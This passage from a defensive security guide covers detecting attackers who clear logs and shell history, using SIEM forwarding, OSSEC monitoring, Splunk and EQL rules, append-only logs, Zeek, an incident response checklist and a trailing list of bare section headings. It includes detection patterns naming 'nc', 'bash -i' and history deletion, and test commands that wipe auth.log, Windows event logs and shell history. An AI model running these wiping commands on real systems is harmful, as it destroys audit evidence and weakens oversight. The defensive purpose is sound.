cat > /etc/audisp/audisp-remote.conf << EOF
remote_server = siem.company.com
port = 60
transport = tcp
EOF

service auditd restart

2. File Integrity Monitoring (FIM)

Monitor critical files and directories:

# OSSEC FIM configuration
cat > /var/ossec/etc/ossec.conf << 'EOF'
<syscheck>
  <!-- Check every 6 hours -->
  <frequency>21600</frequency>

  <!-- Alert on real-time changes -->
  <directories check_all="yes" realtime="yes">/var/log</directories>
  <directories check_all="yes" realtime="yes">/etc</directories>
  <directories check_all="yes" realtime="yes">/root/.ssh</directories>
  <directories check_all="yes" realtime="yes">/home/*/.ssh</directories>
  <directories check_all="yes" realtime="yes">/home/*/.bash_history</directories>

  <!-- Monitor Windows logs -->
  <directories check_all="yes" realtime="yes">C:\Windows\System32\winevt\Logs</directories>

  <!-- Ignore files -->
  <ignore>/etc/mtab</ignore>
  <ignore>/etc/mnttab</ignore>
</syscheck>
EOF

systemctl restart ossec

3. Behavioral Detection Rules

Create SIEM correlation rules that detect indicator removal patterns:

Splunk Detection:

# Detect log clearing followed by lateral movement
index=windows EventCode=1102
| eval cleared_time=_time
| join host [
    search index=windows EventCode=4624 LogonType=3
    | eval logon_time=_time
]
| where logon_time > cleared_time AND logon_time < (cleared_time + 3600)
| table _time, host, user, EventCode, LogonType, TargetHost

# Detect bash history clearing followed by suspicious commands
index=linux "history -c" OR "rm .bash_history"
| eval history_clear=_time
| join host [
    search index=linux "wget" OR "curl" OR "nc" OR "bash -i"
    | eval suspicious_cmd=_time
]
| where suspicious_cmd > history_clear AND suspicious_cmd < (history_clear + 1800)
| table _time, host, user, command

Elastic (EQL) Detection:

sequence by host.name with maxspan=1h
[file where event.action == "deletion" and file.path : "/var/log/*"]
[network where destination.ip != null and not destination.ip : "10.*"]

4. Privileged Access Management

Restrict who can clear logs:

Windows:

# Remove log clearing permissions from Domain Admins
# Only allow specific "Log Administrators" group

# Create custom group
New-ADGroup -Name "Log Administrators" -GroupScope Global -GroupCategory Security

# Set log file permissions
$acl = Get-Acl "C:\Windows\System32\winevt\Logs\Security.evtx"
$acl.SetAccessRuleProtection($true, $false)  # Remove inheritance
$acl.AddAccessRule((New-Object System.Security.AccessControl.FileSystemAccessRule("Log Administrators","FullControl","Allow")))
$acl.AddAccessRule((New-Object System.Security.AccessControl.FileSystemAccessRule("SYSTEM","FullControl","Allow")))
Set-Acl "C:\Windows\System32\winevt\Logs\Security.evtx" $acl

# Audit log clearing attempts
auditpol /set /subcategory:"Audit Policy Change" /success:enable /failure:enable

Linux:

# Make log files append-only (even root can't delete)
chattr +a /var/log/auth.log
chattr +a /var/log/syslog
chattr +a /var/log/secure

# To modify (requires removing attribute first):
# chattr -a /var/log/auth.log
# This creates an audit trail when an attacker tries

# Restrict log directory permissions
chmod 750 /var/log
chown root:adm /var/log

# Monitor attribute changes
cat >> /etc/audit/rules.d/chattr.rules << EOF
-a always,exit -F arch=b64 -S ioctl -F a1=0x40086602 -k chattr
EOF

5. Network-Based Detection

Deploy network monitoring independent of hosts:

# Zeek (Bro) for network analysis
apt-get install zeek

# Configure Zeek to log DNS, HTTP, SSL
cat > /opt/zeek/etc/networks.cfg << EOF
10.0.0.0/8          Private IP space
172.16.0.0/12       Private IP space
192.168.0.0/16      Private IP space
EOF

cat > /opt/zeek/etc/node.cfg << EOF
[zeek]
type=standalone
host=localhost
interface=eth0
EOF

# Start Zeek
zeekctl deploy

# Monitor for C2 beaconing
cat > /opt/zeek/share/zeek/site/detect-beaconing.zeek << EOF
event connection_state_remove(c: connection)
{
    if (c$duration > 0 && c$orig_bytes > 0)
    {
        # Detect periodic beaconing (consistent intervals)
        # Alert on connections with low byte counts at regular intervals
        if (c$duration > 300 && c$orig_bytes < 1000)
        {
            print fmt("Potential beaconing: %s -> %s", c$id$orig_h, c$id$resp_h);
        }
    }
}
EOF

zeekctl deploy

6. Continuous Validation

Test your detection regularly:

# Red Team Exercise - Test if log clearing is detected
# (In controlled test environment)

# Linux test:
echo "This is a test" > /tmp/test.log
echo > /var/log/auth.log  # Should trigger alert
# Restore: systemctl restart rsyslog

# Windows test:
wevtutil cl System  # Should trigger Event ID 1102 alert

# macOS test:
echo > ~/.zsh_history  # Should trigger FIM alert

# Verify alerts fired in SIEM
# If no alert = detection gap = fix it

Automated Detection Testing:

# atomic-red-team test
# Install Invoke-AtomicRedTeam
Install-Module -Name invoke-atomicredteam -Scope CurrentUser

# Test indicator removal detection
Invoke-AtomicTest T1070.001  # Clear Windows Event Logs
Invoke-AtomicTest T1070.002  # Clear Linux/Mac Logs
Invoke-AtomicTest T1070.003  # Clear Command History

# Check if alerts fired
# Document gaps
# Improve detection

Incident Response: Indicator Removal Checklist

When you detect indicator removal, use this field-tested checklist:

Phase 1: Initial Detection (First 5 Minutes)

Confirm the alert - Verify Event ID 1102 / log clearing event in SIEM
Check source credibility - Centralized log vs. host report
Note the timestamp - When was the log cleared?
Identify the user - Who/what account cleared the log?
Identify the host - Which system is affected?
Check criticality - Domain controller? Database server? Developer workstation?

Phase 2: Immediate Response (First 15 Minutes)

Preserve volatile data - Memory dump, network connections, running processes
Network isolation - Block outbound (except to SIEM) to prevent further exfiltration
Snapshot/clone disk - Create forensic copy if possible
Do NOT shutdown - Volatile data will be lost
Notify incident commander - Escalate according to playbook
Document everything - Screenshots, commands, timestamps

Phase 3: Investigation (First Hour)

Review centralized logs - What happened BEFORE log clearing?
Timeline reconstruction - Build attack timeline from SIEM
Check alternative artifacts - auditd, Sysmon, EDR, VSS, systemd journal
Network analysis - Check firewall/proxy for C2 or exfiltration
Identify persistence - Cron, scheduled tasks, services, LaunchAgents
Credential exposure assessment - Were credentials compromised?
Lateral movement check - Did attacker move to other systems?
Data exfiltration assessment - Was data stolen?

Phase 4: Containment (First 4 Hours)

Isolate all affected hosts - Prevent further spread
Reset compromised credentials - Users, service accounts, admin accounts
Revoke active sessions - Kerberos tickets, SSH keys, API tokens
Block IOCs - IPs, domains, file hashes at firewall/proxy
Patch vulnerabilities - If initial access vector is known
Remove persistence - Delete backdoors, cron jobs, scheduled tasks

Phase 5: Eradication (First Day)

Remove malware - All identified malicious files
Rebuild compromised systems - From known-good backups or fresh install
Verify clean state - Scan with AV, EDR, memory analysis
Update detection rules - Add new IOCs to SIEM
Patch vulnerable systems - Close initial access vector

Phase 6: Recovery (First Week)

Restore services - Bring systems back online
Monitor intensively - Watch for reinfection
Validate logging - Ensure all logging is working correctly
Credential rotation - All potentially exposed credentials
Update documentation - Incident report, lessons learned

Phase 7: Post-Incident (Ongoing)

Root cause analysis - How did they get in?
Lessons learned - What could we improve?
Detection improvement - Fix gaps discovered during incident
Architecture changes - Prevent recurrence
Training - Share knowledge with team
Threat intelligence - Share IOCs with industry

Conclusion: Building Resilient Detection

Indicator removal is not a question of “if” but “when.” Sophisticated attackers will attempt to cover their tracks. Your defense must be built on the assumption that local logs will be compromised.

The Three Pillars of Resilient Detection:

Redundancy - Multiple independent logging sources (syslog + auditd + EDR + network + SIEM)
Real-time Forwarding - Logs leave the host immediately, before attackers can delete them
Behavioral Detection - Don’t just alert on log clearing; alert on the pattern (clearing + lateral movement + exfiltration)

What Works in the Field:

EDR deployed on all endpoints (Windows, Linux, macOS)
Centralized logging with <30 second delay
Network monitoring independent of hosts
File integrity monitoring on critical files
Behavioral analytics (UEBA) in SIEM
Regular red team testing of detection capabilities

What Doesn’t Work:

Relying solely on local logs (will be deleted)
“Set and forget” logging (attackers evolve)
No network visibility (misses C2 and exfiltration)
Alert fatigue (100 alerts = 0 alerts)
Untested detection (gaps won’t be found until breach)

Final Thought:

The scenarios in this guide are happening right now in real environments. Attackers are clearing logs, erasing history, and deleting evidence. The difference between a contained incident and a catastrophic breach often comes down to whether you had redundant logging and real-time forwarding in place before the attack.

Build your defenses now. Test them regularly. When indicator removal happens in your environment, you’ll be ready.

For questions about implementing these defenses or sharing your own indicator removal detection stories, reach out via GitHub or Twitter. Stay vigilant.

Scenario 1: Windows Domain Compromise - Event Log Manipulation

The Attack

What You Actually See as a Defender

Detection Strategy

Response Workflow

Key Takeaways from This Scenario

Scenario 2: Linux Web Server Compromise - Log Manipulation & History Clearing

The Attack

What You Actually See as a Defender

Detection Strategy

Response Workflow

Block all outbound traffic except to SIEM

Save state

Query SIEM for this host

Splunk:

Look for:

- SQL injection in web logs

- Privilege escalation (www-data -> root)

- File modifications in /var/log

- Network connections to external IPs

- Suspicious cron job additions

Check journal around attack time

Look for privilege escalation

Check cron execution

Remove malicious cron job

Remove SSH key

Kill reverse shell

Check for rootkits

Change root password

Rotate SSH host keys

What You Actually See as a Defender

Check trash for deleted files

Check Time Machine for previous versions

Response Workflow

Block all network (preserve state)

Or using macOS firewall

Kill the malware

Unload LaunchAgent

Get comprehensive timeline

Parse for key events

LaunchAgents

LaunchDaemons (system-wide, requires root)

Login Items

Cron jobs

Shell profiles

Suspicious paths

Generate new SSH keys

Update SSH keys on GitHub/GitLab

Update authorized_keys on servers

Rotate AWS credentials

Deactivate old keys after updating

Change all stored passwords

Reset git credentials

Clear keychain (after backing up legitimate credentials)

Enable Gatekeeper strict mode

Require signed packages only

Enable FileVault (full disk encryption)

Install application firewall

Install EDR agent

Install osquery for ongoing monitoring

2. File Integrity Monitoring (FIM)

3. Behavioral Detection Rules

4. Privileged Access Management

5. Network-Based Detection

6. Continuous Validation

Incident Response: Indicator Removal Checklist

Phase 1: Initial Detection (First 5 Minutes)

Phase 2: Immediate Response (First 15 Minutes)

Phase 3: Investigation (First Hour)

Phase 4: Containment (First 4 Hours)

Phase 5: Eradication (First Day)

Phase 6: Recovery (First Week)

Phase 7: Post-Incident (Ongoing)

Conclusion: Building Resilient Detection